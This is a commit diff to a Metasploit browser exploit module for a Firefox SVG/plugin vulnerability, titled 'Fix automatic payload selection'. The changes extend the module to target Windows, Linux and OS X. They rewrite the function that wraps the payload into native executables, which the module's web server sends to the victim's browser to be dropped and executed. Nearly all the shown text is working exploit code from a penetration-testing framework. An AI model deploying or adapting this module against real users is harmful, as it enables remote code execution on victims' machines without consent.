Fix automatic payload selection

Author: wchen-r7

modules/exploits/multi/browser/firefox_svg_plugin.rb

@@ -33,12 +33,15 @@ def initialize(info = {})
 				with script access should be able to trigger it.
 			},
 			'License'        => MSF_LICENSE,
-			'Platform'       => 'win',
 			'Targets'        =>
 				[
-					[ 'Automatic', {} ],
-					[
-					'Windows x86 (Native Payload)',
+					[ 'Automatic',
+						{
+							'Platform' => ['win', 'linux', 'osx'],
+							'Arch'     => ARCH_X86
+						}
+					],
+					[ 'Windows x86 (Native Payload)',
 						{
 							'Platform' => 'win',
 							'Arch' => ARCH_X86
@@ -61,7 +64,8 @@ def initialize(info = {})
 			'Author'         =>
 				[
 					'Marius Mlynski', # discovery & bug report
-					'joev'            # metasploit module
+					'joev',           # metasploit module
+					'sinn3r'          # metasploit fu
 				],
 			'References'     =>
 				[
@@ -98,7 +102,7 @@ def on_request_uri(cli, request)
 		elsif request.uri =~ /\.bin/
 			# send the binary payload to drop & exec
 			print_status("Child frame navigated. Sending binary payload to drop & execute.")
-			send_response(cli, dropped_file_contents(cli), { 'Content-Type' => 'application/octet-stream' })
+			send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' })
 		else
 			# send initial HTML page
 			print_status("Target selected: #{target.name}")
@@ -109,9 +113,22 @@ def on_request_uri(cli, request)
 	end
 
 	# @return [String] the encoded executable for dropping onto the client's machine
-	def dropped_file_contents(cli)
+	def dropped_file_contents(cli, target)
 		return if ((p=regenerate_payload(cli)) == nil)
-		generate_payload_exe( {:code=>p.encoded} )
+		opts = target.opts
+		exe = ''
+
+		case target.name
+		when /windows/i
+			opts = opts.merge({:code=>p.encoded})
+			exe = generate_payload_exe(opts)
+		when /linux/i
+			exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts)
+		when /os x/i
+			exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts)
+		end
+
+		return exe
 	end
 
 	# @return [Msf::Module::Target] that matches the client's user-agent header